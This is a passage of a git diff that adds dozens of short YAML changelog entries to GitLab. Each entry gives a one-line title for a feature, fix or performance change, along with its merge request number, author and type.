@@ -0,0 +1,5 @@
+---
+title: Improve logging on feature flag modification
+merge_request: 48417
+author:
+type: other
diff --git a/changelogs/unreleased/include-actual-limit-in-pipeline-errors.yml b/changelogs/unreleased/include-actual-limit-in-pipeline-errors.yml
new file mode 100644
index 00000000000..1820adc4b40
--- /dev/null
+++ b/changelogs/unreleased/include-actual-limit-in-pipeline-errors.yml
@@ -0,0 +1,5 @@
+---
+title: Include actual limit in pipeline limit errors
+merge_request: 48710
+author:
+type: changed
diff --git a/changelogs/unreleased/integrations-page-cleanup.yml b/changelogs/unreleased/integrations-page-cleanup.yml
new file mode 100644
index 00000000000..967bc5f545d
--- /dev/null
+++ b/changelogs/unreleased/integrations-page-cleanup.yml
@@ -0,0 +1,5 @@
+---
+title: Use GitLab UI styles on Integrations page
+merge_request: 47478
+author:
+type: changed
diff --git a/changelogs/unreleased/introduce-auto-rollback-service.yml b/changelogs/unreleased/introduce-auto-rollback-service.yml
new file mode 100644
index 00000000000..3d9a2b1eb83
--- /dev/null
+++ b/changelogs/unreleased/introduce-auto-rollback-service.yml
@@ -0,0 +1,5 @@
+---
+title: Add database index for deployment rollback targets
+merge_request: 47159
+author:
+type: performance
diff --git a/changelogs/unreleased/issue-277325.yml b/changelogs/unreleased/issue-277325.yml
new file mode 100644
index 00000000000..85ea8540982
--- /dev/null
+++ b/changelogs/unreleased/issue-277325.yml
@@ -0,0 +1,5 @@
+---
+title: Add uuid column into security_findings table
+merge_request: 48968
+author: Harrison Brock @harrisonbrock
+type: added
diff --git a/changelogs/unreleased/issue-link-dates.yml b/changelogs/unreleased/issue-link-dates.yml
new file mode 100644
index 00000000000..b51f0b5c509
--- /dev/null
+++ b/changelogs/unreleased/issue-link-dates.yml
@@ -0,0 +1,5 @@
+---
+title: Expose creation/update times for issue links
+merge_request: 48051
+author:
+type: added
diff --git a/changelogs/unreleased/issue_258973.yml b/changelogs/unreleased/issue_258973.yml
new file mode 100644
index 00000000000..8db4d0457af
--- /dev/null
+++ b/changelogs/unreleased/issue_258973.yml
@@ -0,0 +1,5 @@
+---
+title: Remove temporary blocking issues scheduling indexes
+merge_request: 48064
+author:
+type: other
diff --git a/changelogs/unreleased/jdb-fix-comment-highlighting-unified-components.yml b/changelogs/unreleased/jdb-fix-comment-highlighting-unified-components.yml
new file mode 100644
index 00000000000..1c08f1e9a76
--- /dev/null
+++ b/changelogs/unreleased/jdb-fix-comment-highlighting-unified-components.yml
@@ -0,0 +1,5 @@
+---
+title: Fix comment highlighting for unified diff components
+merge_request: 49061
+author:
+type: fixed
diff --git a/changelogs/unreleased/jdb-fix-copy-to-clipboard-ff.yml b/changelogs/unreleased/jdb-fix-copy-to-clipboard-ff.yml
new file mode 100644
index 00000000000..07d046fb729
--- /dev/null
+++ b/changelogs/unreleased/jdb-fix-copy-to-clipboard-ff.yml
@@ -0,0 +1,5 @@
+---
+title: Fix copy to clipboard on Firefox
+merge_request: 49648
+author:
+type: fixed
diff --git a/changelogs/unreleased/jdb-fix-jupyter-notebooks-rendering.yml b/changelogs/unreleased/jdb-fix-jupyter-notebooks-rendering.yml
new file mode 100644
index 00000000000..a0e147b9315
--- /dev/null
+++ b/changelogs/unreleased/jdb-fix-jupyter-notebooks-rendering.yml
@@ -0,0 +1,5 @@
+---
+title: Fix Jupyter notebook code and image rendering
+merge_request: 49067
+author:
+type: fixed
diff --git a/changelogs/unreleased/jimcser-master-patch-94937.yml b/changelogs/unreleased/jimcser-master-patch-94937.yml
new file mode 100644
index 00000000000..a666e737a84
--- /dev/null
+++ b/changelogs/unreleased/jimcser-master-patch-94937.yml
@@ -0,0 +1,5 @@
+---
+title: Add link in Access Request API
+merge_request: 48081
+author: jimcser
+type: fixed
diff --git a/changelogs/unreleased/jivanvl-migrate-analytics-graphql-be.yml b/changelogs/unreleased/jivanvl-migrate-analytics-graphql-be.yml
new file mode 100644
index 00000000000..46c59383a29
--- /dev/null
+++ b/changelogs/unreleased/jivanvl-migrate-analytics-graphql-be.yml
@@ -0,0 +1,5 @@
+---
+title: Add CI/CD analytics GraphQL types
+merge_request: 49384
+author:
+type: added
diff --git a/changelogs/unreleased/jj-add-gitlab-experiment.yml b/changelogs/unreleased/jj-add-gitlab-experiment.yml
new file mode 100644
index 00000000000..99b8026d61a
--- /dev/null
+++ b/changelogs/unreleased/jj-add-gitlab-experiment.yml
@@ -0,0 +1,5 @@
+---
+title: Add the gitlab-experiment gem, with configuration
+merge_request: 45840
+author:
+type: added
diff --git a/changelogs/unreleased/js-add_feed_token_spec.yml b/changelogs/unreleased/js-add_feed_token_spec.yml
new file mode 100644
index 00000000000..84dc4d8d79c
--- /dev/null
+++ b/changelogs/unreleased/js-add_feed_token_spec.yml
@@ -0,0 +1,5 @@
+---
+title: Add feed_token specs to spec/features/profiles/personal_access_tokens_spec.rb
+merge_request: 50059
+author:
+type: other
diff --git a/changelogs/unreleased/js-disable_feed_token.yml b/changelogs/unreleased/js-disable_feed_token.yml
new file mode 100644
index 00000000000..f5e20839d38
--- /dev/null
+++ b/changelogs/unreleased/js-disable_feed_token.yml
@@ -0,0 +1,5 @@
+---
+title: Add Setting to disable feed_tokens
+merge_request: 48600
+author:
+type: added
diff --git a/changelogs/unreleased/jsl-snippet-fix.yml b/changelogs/unreleased/jsl-snippet-fix.yml
new file mode 100644
index 00000000000..43ca32484dc
--- /dev/null
+++ b/changelogs/unreleased/jsl-snippet-fix.yml
@@ -0,0 +1,5 @@
+---
+title: Fix single file snippets display for Geo secondary sites
+merge_request: 46812
+author:
+type: fixed
diff --git a/changelogs/unreleased/justin_ho-fix-confirmation-modal-showing-on-project-integrations.yml b/changelogs/unreleased/justin_ho-fix-confirmation-modal-showing-on-project-integrations.yml
new file mode 100644
index 00000000000..2fa121dc15d
--- /dev/null
+++ b/changelogs/unreleased/justin_ho-fix-confirmation-modal-showing-on-project-integrations.yml
@@ -0,0 +1,5 @@
+---
+title: Fix confirmation modal showing on project integration
+merge_request: 48720
+author:
+type: fixed
diff --git a/changelogs/unreleased/jv-rack-attack-user-bypass.yml b/changelogs/unreleased/jv-rack-attack-user-bypass.yml
new file mode 100644
index 00000000000..0770eda8153
--- /dev/null
+++ b/changelogs/unreleased/jv-rack-attack-user-bypass.yml
@@ -0,0 +1,5 @@
+---
+title: Add user ID based allowlist for Rack::Attack
+merge_request: 49127
+author:
+type: changed
diff --git a/changelogs/unreleased/jv-rake-workhorse-vendored.yml b/changelogs/unreleased/jv-rake-workhorse-vendored.yml
new file mode 100644
index 00000000000..663edd3fe68
--- /dev/null
+++ b/changelogs/unreleased/jv-rake-workhorse-vendored.yml
@@ -0,0 +1,5 @@
+---
+title: Let `rake gitlab:workhorse:install` use vendored workhorse
+merge_request: 49250
+author:
+type: changed
diff --git a/changelogs/unreleased/kassio-add-github-merged-by.yml b/changelogs/unreleased/kassio-add-github-merged-by.yml
new file mode 100644
index 00000000000..0cb59148051
--- /dev/null
+++ b/changelogs/unreleased/kassio-add-github-merged-by.yml
@@ -0,0 +1,5 @@
+---
+title: Github Importer - import the pull request `merged by` field
+merge_request: 48561
+author:
+type: changed
diff --git a/changelogs/unreleased/kassio-avoid-invalid-notes-when-importing-a-project.yml b/changelogs/unreleased/kassio-avoid-invalid-notes-when-importing-a-project.yml
new file mode 100644
index 00000000000..bcc1e1d41f7
--- /dev/null
+++ b/changelogs/unreleased/kassio-avoid-invalid-notes-when-importing-a-project.yml
@@ -0,0 +1,5 @@
+---
+title: Avoid invalid notes on Project Import
+merge_request: 48189
+author:
+type: fixed
diff --git a/changelogs/unreleased/kassio-diff-note-avoid-exception-when-validating-style.yml b/changelogs/unreleased/kassio-diff-note-avoid-exception-when-validating-style.yml
new file mode 100644
index 00000000000..c463eb814ba
--- /dev/null
+++ b/changelogs/unreleased/kassio-diff-note-avoid-exception-when-validating-style.yml
@@ -0,0 +1,5 @@
+---
+title: Avoid exception when validating diff_note support
+merge_request: 48187
+author:
+type: fixed
diff --git a/changelogs/unreleased/kassio-github-import-review-comments.yml b/changelogs/unreleased/kassio-github-import-review-comments.yml
new file mode 100644
index 00000000000..c3802a3f533
--- /dev/null
+++ b/changelogs/unreleased/kassio-github-import-review-comments.yml
@@ -0,0 +1,5 @@
+---
+title: Github Importer - import pull request reviews from Github
+merge_request: 48632
+author:
+type: added
diff --git a/changelogs/unreleased/kassio-github-importer-avoid-touch-mr-when-importing-merged-by.yml b/changelogs/unreleased/kassio-github-importer-avoid-touch-mr-when-importing-merged-by.yml
new file mode 100644
index 00000000000..11304bda4c8
--- /dev/null
+++ b/changelogs/unreleased/kassio-github-importer-avoid-touch-mr-when-importing-merged-by.yml
@@ -0,0 +1,5 @@
+---
+title: Github importer - Avoid touching MR when importing pull request `merged by` field
+merge_request: 48729
+author:
+type: fixed
diff --git a/changelogs/unreleased/ldap-encrypted-usage-data.yml b/changelogs/unreleased/ldap-encrypted-usage-data.yml
new file mode 100644
index 00000000000..4cb716167d0
--- /dev/null
+++ b/changelogs/unreleased/ldap-encrypted-usage-data.yml
@@ -0,0 +1,5 @@
+---
+title: Add ldap encrypted credentials to the usage data
+merge_request: 48210
+author:
+type: changed
diff --git a/changelogs/unreleased/ldap-secret-command.yml b/changelogs/unreleased/ldap-secret-command.yml
new file mode 100644
index 00000000000..a1c0617867c
--- /dev/null
+++ b/changelogs/unreleased/ldap-secret-command.yml
@@ -0,0 +1,5 @@
+---
+title: Add encrypted ldap secrets support
+merge_request: 45712
+author:
+type: added
diff --git a/changelogs/unreleased/lm-add-ci-config-0.yml b/changelogs/unreleased/lm-add-ci-config-0.yml
new file mode 100644
index 00000000000..7bda30712a6
--- /dev/null
+++ b/changelogs/unreleased/lm-add-ci-config-0.yml
@@ -0,0 +1,5 @@
+---
+title: 'Expose GraphQL resolver for processing CI config'
+merge_request: 46912
+author:
+type: added
diff --git a/changelogs/unreleased/make-import-issues-csv-worker-idempotent.yml b/changelogs/unreleased/make-import-issues-csv-worker-idempotent.yml
new file mode 100644
index 00000000000..a27dc8ad5b3
--- /dev/null
+++ b/changelogs/unreleased/make-import-issues-csv-worker-idempotent.yml
@@ -0,0 +1,5 @@
+---
+title: Make ImportIssuesCsvWorker idempotent
+merge_request: 47808
+author:
+type: changed
diff --git a/changelogs/unreleased/mjang-update-naming-topics-avatar-ui-text.yml b/changelogs/unreleased/mjang-update-naming-topics-avatar-ui-text.yml
new file mode 100644
index 00000000000..1c31ad59276
--- /dev/null
+++ b/changelogs/unreleased/mjang-update-naming-topics-avatar-ui-text.yml
@@ -0,0 +1,5 @@
+---
+title: Updated UI text to match style guidelines
+merge_request: 49275
+author:
+type: other
diff --git a/changelogs/unreleased/mjang-ux-MR-approvals-text.yml b/changelogs/unreleased/mjang-ux-MR-approvals-text.yml
new file mode 100644
index 00000000000..fc72705edd6
--- /dev/null
+++ b/changelogs/unreleased/mjang-ux-MR-approvals-text.yml
@@ -0,0 +1,5 @@
+---
+title: Updated UI text to match style guidelines
+merge_request: 49632
+author:
+type: other
diff --git a/changelogs/unreleased/mk-add-verification-state-machine.yml b/changelogs/unreleased/mk-add-verification-state-machine.yml
new file mode 100644
index 00000000000..ed179af4832
--- /dev/null
+++ b/changelogs/unreleased/mk-add-verification-state-machine.yml
@@ -0,0 +1,5 @@
+---
+title: 'Geo: Add verification state machine fields to package files table'
+merge_request: 47260
+author:
+type: added
diff --git a/changelogs/unreleased/mk-fix-bad-request-helper.yml b/changelogs/unreleased/mk-fix-bad-request-helper.yml
new file mode 100644
index 00000000000..54ac62b460f
--- /dev/null
+++ b/changelogs/unreleased/mk-fix-bad-request-helper.yml
@@ -0,0 +1,5 @@
+---
+title: Fix wording of some 400 Bad request API responses
+merge_request: 49895
+author:
+type: fixed
diff --git a/changelogs/unreleased/mk-geo-primary-backfills-checksums.yml b/changelogs/unreleased/mk-geo-primary-backfills-checksums.yml
new file mode 100644
index 00000000000..a67b982c4ea
--- /dev/null
+++ b/changelogs/unreleased/mk-geo-primary-backfills-checksums.yml
@@ -0,0 +1,5 @@
+---
+title: 'Geo: Add verification indexes for package files'
+merge_request: 47372
+author:
+type: added
diff --git a/changelogs/unreleased/mk-remove-unused-indexes.yml b/changelogs/unreleased/mk-remove-unused-indexes.yml
new file mode 100644
index 00000000000..50969f834b8
--- /dev/null
+++ b/changelogs/unreleased/mk-remove-unused-indexes.yml
@@ -0,0 +1,5 @@
+---
+title: 'Geo: Remove unused indexes'
+merge_request: 48504
+author:
+type: changed
diff --git a/changelogs/unreleased/mo-enable-code-coverage-overall-activity.yml b/changelogs/unreleased/mo-enable-code-coverage-overall-activity.yml
new file mode 100644
index 00000000000..54c9a46029b
--- /dev/null
+++ b/changelogs/unreleased/mo-enable-code-coverage-overall-activity.yml
@@ -0,0 +1,5 @@
+---
+title: Add code coverage overall activity to group repository analytics
+merge_request: 48155
+author:
+type: added
diff --git a/changelogs/unreleased/move-profiles-keys-get-keys-to-users.yml b/changelogs/unreleased/move-profiles-keys-get-keys-to-users.yml
new file mode 100644
index 00000000000..e9c92e24eba
--- /dev/null
+++ b/changelogs/unreleased/move-profiles-keys-get-keys-to-users.yml
@@ -0,0 +1,5 @@
+---
+title: Move profiles/keys#get_keys to users#ssh_keys
+merge_request: 48991
+author: Takuya Noguchi
+type: other
diff --git a/changelogs/unreleased/mw-convert-fa-caret-down-to-svg.yml b/changelogs/unreleased/mw-convert-fa-caret-down-to-svg.yml
new file mode 100644
index 00000000000..cf5b9aba0c3
--- /dev/null
+++ b/changelogs/unreleased/mw-convert-fa-caret-down-to-svg.yml
@@ -0,0 +1,5 @@
+---
+title: Convert fa-caret-down icons to chevron-down SVG
+merge_request: 49332
+author:
+type: changed
diff --git a/changelogs/unreleased/mw-replace-fa-chevron-down-in-pikaday.yml b/changelogs/unreleased/mw-replace-fa-chevron-down-in-pikaday.yml
new file mode 100644
index 00000000000..1e43509856c
--- /dev/null
+++ b/changelogs/unreleased/mw-replace-fa-chevron-down-in-pikaday.yml
@@ -0,0 +1,5 @@
+---
+title: Replace fa-chevron-down icon in pikaday
+merge_request: 48054
+author:
+type: changed
diff --git a/changelogs/unreleased/mw-replace-fa-chevron-down-in-template-selectors.yml b/changelogs/unreleased/mw-replace-fa-chevron-down-in-template-selectors.yml
new file mode 100644
index 00000000000..a4b7b1eed3f
--- /dev/null
+++ b/changelogs/unreleased/mw-replace-fa-chevron-down-in-template-selectors.yml
@@ -0,0 +1,5 @@
+---
+title: Replace fa-chevron-down in template selector dropdown
+merge_request: 48015
+author:
+type: changed
diff --git a/changelogs/unreleased/mw-replace-fa-chevron-dropdown-in-users-select.yml b/changelogs/unreleased/mw-replace-fa-chevron-dropdown-in-users-select.yml
new file mode 100644
index 00000000000..6f783703070
--- /dev/null
+++ b/changelogs/unreleased/mw-replace-fa-chevron-dropdown-in-users-select.yml
@@ -0,0 +1,5 @@
+---
+title: Replace fa-exclamation-triangle in users select
+merge_request: 48116
+author:
+type: changed
diff --git a/changelogs/unreleased/mw-replace-fa-chevron-in-file-header-diff.yml b/changelogs/unreleased/mw-replace-fa-chevron-in-file-header-diff.yml
new file mode 100644
index 00000000000..763bcacea68
--- /dev/null
+++ b/changelogs/unreleased/mw-replace-fa-chevron-in-file-header-diff.yml
@@ -0,0 +1,5 @@
+---
+title: Replace fa icons in single file diff
+merge_request: 48136
+author:
+type: changed
diff --git a/changelogs/unreleased/mw-replace-fa-circle-in-runners-helper.yml b/changelogs/unreleased/mw-replace-fa-circle-in-runners-helper.yml
new file mode 100644
index 00000000000..f06a2e44cea
--- /dev/null
+++ b/changelogs/unreleased/mw-replace-fa-circle-in-runners-helper.yml
@@ -0,0 +1,5 @@
+---
+title: Replace fa-cirlce in runners helper
+merge_request: 48981
+author:
+type: changed
diff --git a/changelogs/unreleased/mw-replace-spinner-in-metrics-dashboard-yml-loading.yml b/changelogs/unreleased/mw-replace-spinner-in-metrics-dashboard-yml-loading.yml
new file mode 100644
index 00000000000..6dabd0a173d
--- /dev/null
+++ b/changelogs/unreleased/mw-replace-spinner-in-metrics-dashboard-yml-loading.yml
@@ -0,0 +1,5 @@
+---
+title: Replace fa-spinner in metrics dashboard yaml definition
+merge_request: 48227
+author:
+type: changed
diff --git a/changelogs/unreleased/mw-wiki-page-specific-css.yml b/changelogs/unreleased/mw-wiki-page-specific-css.yml
new file mode 100644
index 00000000000..4c9100ac17d
--- /dev/null
+++ b/changelogs/unreleased/mw-wiki-page-specific-css.yml
@@ -0,0 +1,5 @@
+---
+title: Replace wiki fontawesome icons with emojis
+merge_request: 49097
+author:
+type: other
diff --git a/changelogs/unreleased/mwaw-267550-product_analytics_aggregated_metrics-rollout.yml b/changelogs/unreleased/mwaw-267550-product_analytics_aggregated_metrics-rollout.yml
new file mode 100644
index 00000000000..a4825373dcf
--- /dev/null
+++ b/changelogs/unreleased/mwaw-267550-product_analytics_aggregated_metrics-rollout.yml
@@ -0,0 +1,5 @@
+---
+title: Add ability to aggregated metrics in Usage Ping
+merge_request: 49886
+author:
+type: added
diff --git a/changelogs/unreleased/nfriend-add-deployment-status-to-environments-page.yml b/changelogs/unreleased/nfriend-add-deployment-status-to-environments-page.yml
new file mode 100644
index 00000000000..7de8d3bd2c6
--- /dev/null
+++ b/changelogs/unreleased/nfriend-add-deployment-status-to-environments-page.yml
@@ -0,0 +1,5 @@
+---
+title: Add upcoming deployment column to Environments page
+merge_request: 48062
+author:
+type: added
diff --git a/changelogs/unreleased/nfriend-add-release-delete-mutation.yml b/changelogs/unreleased/nfriend-add-release-delete-mutation.yml
new file mode 100644
index 00000000000..273fabcac5f
--- /dev/null
+++ b/changelogs/unreleased/nfriend-add-release-delete-mutation.yml
@@ -0,0 +1,5 @@
+---
+title: Add GraphQL mutation to delete a release
+merge_request: 48364
+author:
+type: added
diff --git a/changelogs/unreleased/nfriend-add-release-update-mutation.yml b/changelogs/unreleased/nfriend-add-release-update-mutation.yml
new file mode 100644
index 00000000000..a2ed496ecc2
--- /dev/null
+++ b/changelogs/unreleased/nfriend-add-release-update-mutation.yml
@@ -0,0 +1,5 @@
+---
+title: Add GraphQL mutation to update a release
+merge_request: 46611
+author:
+type: added
diff --git a/changelogs/unreleased/nfriend-remove-release-notes-from-tags-page.yml b/changelogs/unreleased/nfriend-remove-release-notes-from-tags-page.yml
new file mode 100644
index 00000000000..9ebbb3b3209
--- /dev/null
+++ b/changelogs/unreleased/nfriend-remove-release-notes-from-tags-page.yml
@@ -0,0 +1,5 @@
+---
+title: Remove release notes from Tags page
+merge_request: 49979
+author:
+type: removed
diff --git a/changelogs/unreleased/nicolasdular-namespace-onboarding-actions-table.yml b/changelogs/unreleased/nicolasdular-namespace-onboarding-actions-table.yml
new file mode 100644
index 00000000000..688a3d8d93e
--- /dev/null
+++ b/changelogs/unreleased/nicolasdular-namespace-onboarding-actions-table.yml
@@ -0,0 +1,5 @@
+---
+title: Create namespace onboarding actions table
+merge_request: 48018
+author:
+type: added
diff --git a/changelogs/unreleased/no-findcommit-for-raw-endpoints.yml b/changelogs/unreleased/no-findcommit-for-raw-endpoints.yml
new file mode 100644
index 00000000000..8e69589bdcc
--- /dev/null
+++ b/changelogs/unreleased/no-findcommit-for-raw-endpoints.yml
@@ -0,0 +1,5 @@
+---
+title: Remove unnecessary Gitaly calls from raw endpoint
+merge_request: 48917
+author:
+type: performance
diff --git a/changelogs/unreleased/ntepluhina-fix-swimlanes-on-edit-board.yml b/changelogs/unreleased/ntepluhina-fix-swimlanes-on-edit-board.yml
new file mode 100644
index 00000000000..8f0c505551b
--- /dev/null
+++ b/changelogs/unreleased/ntepluhina-fix-swimlanes-on-edit-board.yml
@@ -0,0 +1,5 @@
+---
+title: Fixed editing labels on the swimlanes sidebar
+merge_request: 47946
+author:
+type: fixed
diff --git a/changelogs/unreleased/pages-1-32.yml b/changelogs/unreleased/pages-1-32.yml
new file mode 100644
index 00000000000..fd37eccf3c9
--- /dev/null
+++ b/changelogs/unreleased/pages-1-32.yml
@@ -0,0 +1,5 @@
+---
+title: Upgrade GitLab Pages to 1.32.0
+merge_request: 50062
+author:
+type: added
diff --git a/changelogs/unreleased/pages-version-v1-31-0.yml b/changelogs/unreleased/pages-version-v1-31-0.yml
new file mode 100644
index 00000000000..027d43709d6
--- /dev/null
+++ b/changelogs/unreleased/pages-version-v1-31-0.yml
@@ -0,0 +1,5 @@
+---
+title: Upgrade Pages to 1.31.0
+merge_request: 49352
+author:
+type: added
diff --git a/changelogs/unreleased/pass-commit-id-to-MR-discussion.yml b/changelogs/unreleased/pass-commit-id-to-MR-discussion.yml
new file mode 100644
index 00000000000..d5cc490b233
--- /dev/null
+++ b/changelogs/unreleased/pass-commit-id-to-MR-discussion.yml
@@ -0,0 +1,5 @@
+---
+title: Allow passing `commit_id` when creating MR discussions via the API and expose `commit_id` for MR diff notes
+merge_request: 47130
+author: Johannes Altmanninger @krobelus
+type: added
diff --git a/changelogs/unreleased/ph-225961-changeImageDiffBadgesPositionToPercent.yml b/changelogs/unreleased/ph-225961-changeImageDiffBadgesPositionToPercent.yml
new file mode 100644
index 00000000000..54cc5bf6719
--- /dev/null
+++ b/changelogs/unreleased/ph-225961-changeImageDiffBadgesPositionToPercent.yml
@@ -0,0 +1,5 @@
+---
+title: Fixed image diff comments positioning
+merge_request: 48132
+author:
+type: fixed
diff --git a/changelogs/unreleased/ph-diffsGradualLoadDefaultEnabled.yml b/changelogs/unreleased/ph-diffsGradualLoadDefaultEnabled.yml
new file mode 100644
index 00000000000..cf2bf33a9e7
--- /dev/null
+++ b/changelogs/unreleased/ph-diffsGradualLoadDefaultEnabled.yml
@@ -0,0 +1,5 @@
+---
+title: Gradually load more diffs async
+merge_request: 49476
+author:
+type: changed
diff --git a/changelogs/unreleased/psi-dark-pipelines.yml b/changelogs/unreleased/psi-dark-pipelines.yml
new file mode 100644
index 00000000000..34dde2f7563
--- /dev/null
+++ b/changelogs/unreleased/psi-dark-pipelines.yml
@@ -0,0 +1,5 @@
+---
+title: Fix pipeline page in dark mode
+merge_request: 49214
+author:
+type: fixed
diff --git a/changelogs/unreleased/psi-darker-mode.yml b/changelogs/unreleased/psi-darker-mode.yml
new file mode 100644
index 00000000000..9920868401e
--- /dev/null
+++ b/changelogs/unreleased/psi-darker-mode.yml
@@ -0,0 +1,5 @@
+---
+title: Darker background for dark mode, plus small fixes to MR page
+merge_request: 47359
+author:
+type: changed
diff --git a/changelogs/unreleased/reduce-commit-collection-object-allocations.yml b/changelogs/unreleased/reduce-commit-collection-object-allocations.yml
new file mode 100644
index 00000000000..b667b315fdf
--- /dev/null
+++ b/changelogs/unreleased/reduce-commit-collection-object-allocations.yml
@@ -0,0 +1,5 @@
+---
+title: Reduce object allocations for large merge request
+merge_request: 49563
+author:
+type: performance
diff --git a/changelogs/unreleased/reference-cs-image-in-template.yml b/changelogs/unreleased/reference-cs-image-in-template.yml
new file mode 100644
index 00000000000..161607e5607
--- /dev/null
+++ b/changelogs/unreleased/reference-cs-image-in-template.yml
@@ -0,0 +1,5 @@
+---
+title: Use CS_ANALYZER_IMAGE in CS template
+merge_request: 47856
+author:
+type: added
diff --git a/changelogs/unreleased/remember_project_ordering.yml b/changelogs/unreleased/remember_project_ordering.yml
new file mode 100644
index 00000000000..101b60e5440
--- /dev/null
+++ b/changelogs/unreleased/remember_project_ordering.yml
@@ -0,0 +1,5 @@
+---
+title: Remember last used project ordering option across groups
+merge_request: 47850
+author: Lee Tickett
+type: changed
diff --git a/changelogs/unreleased/remove-ff-ci-root-ancestor-for-pipeline-family.yml b/changelogs/unreleased/remove-ff-ci-root-ancestor-for-pipeline-family.yml
new file mode 100644
index 00000000000..072e2b9e5a1
--- /dev/null
+++ b/changelogs/unreleased/remove-ff-ci-root-ancestor-for-pipeline-family.yml
@@ -0,0 +1,5 @@
+---
+title: Improve query that finds all pipelines in the same family
+merge_request: 49240
+author:
+type: performance
diff --git a/changelogs/unreleased/remove-legacy-burndown.yml b/changelogs/unreleased/remove-legacy-burndown.yml
new file mode 100644
index 00000000000..dc83b035bb1
--- /dev/null
+++ b/changelogs/unreleased/remove-legacy-burndown.yml
@@ -0,0 +1,5 @@
+---
+title: Remove unnecessary queries in milestone page
+merge_request: 49662
+author:
+type: performance
diff --git a/changelogs/unreleased/remove_dast_unlicensed_290958.yml b/changelogs/unreleased/remove_dast_unlicensed_290958.yml
new file mode 100644
index 00000000000..ab3a62bc1d8
--- /dev/null
+++ b/changelogs/unreleased/remove_dast_unlicensed_290958.yml
@@ -0,0 +1,5 @@
+---
+title: Remove dast_unlicensed job
+merge_request: 50129
+author:
+type: changed
diff --git a/changelogs/unreleased/remove_terraform_state_verification_column_ignores.yml b/changelogs/unreleased/remove_terraform_state_verification_column_ignores.yml
new file mode 100644
index 00000000000..5aa17141a58
--- /dev/null
+++ b/changelogs/unreleased/remove_terraform_state_verification_column_ignores.yml
@@ -0,0 +1,5 @@
+---
+title: Finish removing unused replication columns from terraform state
+merge_request: 48839
+author:
+type: changed
diff --git a/changelogs/unreleased/rename-piwik-matomo.yml b/changelogs/unreleased/rename-piwik-matomo.yml
new file mode 100644
index 00000000000..71e5dc2027b
--- /dev/null
+++ b/changelogs/unreleased/rename-piwik-matomo.yml
@@ -0,0 +1,5 @@
+---
+title: Rename Piwik config items and layout file after rebranding to Matomo
+merge_request: 45658
+author: Kate Grechishkina @kategrechishkina
+type: changed
diff --git a/changelogs/unreleased/save-mentions-on-markdown-columns-change.yml b/changelogs/unreleased/save-mentions-on-markdown-columns-change.yml
new file mode 100644
index 00000000000..7358528219e
--- /dev/null
+++ b/changelogs/unreleased/save-mentions-on-markdown-columns-change.yml
@@ -0,0 +1,5 @@
+---
+title: Update user mentions when markdown columns are directly saved to DB
+merge_request: 38034
+author:
+type: fixed
diff --git a/changelogs/unreleased/sdesk_by_default.yml b/changelogs/unreleased/sdesk_by_default.yml
new file mode 100644
index 00000000000..c3ae6cb4e49
--- /dev/null
+++ b/changelogs/unreleased/sdesk_by_default.yml
@@ -0,0 +1,5 @@
+---
+title: Allow to configure custom service desk email address suffix
+merge_request: 49932
+author:
+type: added
diff --git a/changelogs/unreleased/security-restrict-access-to-jobs-that-use-ci-debug-trace.yml b/changelogs/unreleased/security-restrict-access-to-jobs-that-use-ci-debug-trace.yml
new file mode 100644
index 00000000000..05ac9f10643
--- /dev/null
+++ b/changelogs/unreleased/security-restrict-access-to-jobs-that-use-ci-debug-trace.yml
@@ -0,0 +1,5 @@
+---
+title: Restrict access to job page to developers only when use CI_DEBUG_TRACE is true
+merge_request: 48932
+author:
+type: fixed
diff --git a/changelogs/unreleased/send-full-ref-when-running-manual-pipeline.yml b/changelogs/unreleased/send-full-ref-when-running-manual-pipeline.yml
new file mode 100644
index 00000000000..5e74ce053e6
--- /dev/null
+++ b/changelogs/unreleased/send-full-ref-when-running-manual-pipeline.yml
@@ -0,0 +1,5 @@
+---
+title: Manually trigger pipelines correctly when branches and tags have the same name. Separate tags and branches in trigger pipeline form.
+merge_request: 48142
+author:
+type: fixed
diff --git a/changelogs/unreleased/sh-allow-pages-to-use-storage-specific-settings.yml b/changelogs/unreleased/sh-allow-pages-to-use-storage-specific-settings.yml
new file mode 100644
index 00000000000..3ae9d864eb7
--- /dev/null
+++ b/changelogs/unreleased/sh-allow-pages-to-use-storage-specific-settings.yml
@@ -0,0 +1,5 @@
+---
+title: Allow Pages to define a storage-specific connection
+merge_request: 48098
+author:
+type: changed
diff --git a/changelogs/unreleased/sh-avoid-build-hooks-data.yml b/changelogs/unreleased/sh-avoid-build-hooks-data.yml
new file mode 100644
index 00000000000..037425e957a
--- /dev/null
+++ b/changelogs/unreleased/sh-avoid-build-hooks-data.yml
@@ -0,0 +1,5 @@
+---
+title: Reduce SQL queries when no pipeline hooks are active
+merge_request: 49186
+author:
+type: performance
diff --git a/changelogs/unreleased/sh-aws-sdk-use-iam-profile.yml b/changelogs/unreleased/sh-aws-sdk-use-iam-profile.yml
new file mode 100644
index 00000000000..e5c8382f3f8
--- /dev/null
+++ b/changelogs/unreleased/sh-aws-sdk-use-iam-profile.yml
@@ -0,0 +1,5 @@
+---
+title: Support instance profiles for IAM role for Amazon EKS integration
+merge_request: 49212
+author:
+type: added
diff --git a/changelogs/unreleased/sh-eks-error-feedback.yml b/changelogs/unreleased/sh-eks-error-feedback.yml
new file mode 100644
index 00000000000..3f9209dbbfa
--- /dev/null
+++ b/changelogs/unreleased/sh-eks-error-feedback.yml
@@ -0,0 +1,5 @@
+---
+title: 'EKS: Provide user feedback on AWS authorization errors'
+merge_request: 49278
+author:
+type: changed
diff --git a/changelogs/unreleased/sh-export-csv-service-nplus-one.yml b/changelogs/unreleased/sh-export-csv-service-nplus-one.yml
new file mode 100644
index 00000000000..b5bb1f9b243
--- /dev/null
+++ b/changelogs/unreleased/sh-export-csv-service-nplus-one.yml
@@ -0,0 +1,5 @@
+---
+title: Fix N+1 queries loading milestones when exporting CSVs
+merge_request: 49429
+author:
+type: performance
diff --git a/changelogs/unreleased/sh-fail-import-errors.yml b/changelogs/unreleased/sh-fail-import-errors.yml
new file mode 100644
index 00000000000..f114b73241f
--- /dev/null
+++ b/changelogs/unreleased/sh-fail-import-errors.yml
@@ -0,0 +1,5 @@
+---
+title: Fail import state whenever repository import fails
+merge_request: 49682
+author:
+type: fixed
diff --git a/changelogs/unreleased/sh-fix-github-lfs-import.yml b/changelogs/unreleased/sh-fix-github-lfs-import.yml
new file mode 100644
index 00000000000..21f4459ab83
--- /dev/null
+++ b/changelogs/unreleased/sh-fix-github-lfs-import.yml
@@ -0,0 +1,5 @@
+---
+title: Fix import of LFS files in GitHub import
+merge_request: 48722
+author:
+type: fixed
